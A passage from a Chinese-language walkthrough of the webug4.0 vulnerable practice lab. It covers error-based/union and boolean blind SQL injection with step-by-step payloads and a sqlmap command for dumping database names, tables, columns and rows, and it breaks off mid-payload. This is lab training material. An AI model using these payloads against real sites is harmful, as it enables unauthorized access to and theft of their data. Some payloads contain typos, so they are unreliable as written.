webug4.0靶场,里面有30关,内含常见的web安全漏洞
0x01 报错注入
字符型注入,没啥好说的很简单
然后id=1'union select 1,user() --+
也可以用sqlmap跑:sqlmap -u "URL地址" --cookie="cookie" --batch --dbs
当然id=1 and 1=1
也可以
0x02 布尔盲注
在页面输入任何无效字符时都不会报错显示出来,这时就得利用盲注一个一个字符去猜了
- 当加单引号时页面并没有报错提示,但是你如果仔细观察的话就会发现与正常页面比较少了一行字
输入错误时
正常页面时
- 接下来就是猜数据库名了,有两种方式(其实原理都一样),由第一关得知数据库名为:webug
第一种:当数据库名长度大于所比较的数时回显点1也就是
tuer
,当比较的数大于数据库名长度时此回显位置会显示0也就是false
第二种:当数据库名长度大于所比较的数时页面正常(这行字还在),因为
webug
长度为5
当数据库名长度小于所比较的数时,这行字就会消失,以此来判断
- 长度有了接下来就是判断数据库名了,这里使用ascii进行比较(可先查阅ascii表)
猜第一个字符:id=1' and ascii(mid(database(),1,1))>1--+
猜第二个字符:id=1' and ascii(mid(database(),2,1))>1--+
以此类推...(先麻烦可以使用burp跑一下或者sqlmap一把梭)
- 查询表
#查第一个表的长度
id=1' and (select length(table_name)from information_schema.tables where tables_schema=database()limit 0,1)>10--+
#查询表的第一个字符;
id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>1
以此类推...
- 查字段
#查指定表中的字段
and(select count(column_name)from information_schema.columns where table_name = '表名' and table_schema = database())>2
#查询字段第一个字符;
id=1' and ascii(mid((select column_name from information_schema.columns where table_schema = 'xxx字段名' and TABLE_NAME ='表名' limit 0,1),1,1))>105
- 查询字段行数;
#查询字段所有行数
id=1' and (select count(*) from 字段.表)>4
#查询字段名行数
id=1' and (select count(uname)from 字段.表)>7
- 查询字段内容
length((select username from 字段.users limit 0,1))>10ascii(mi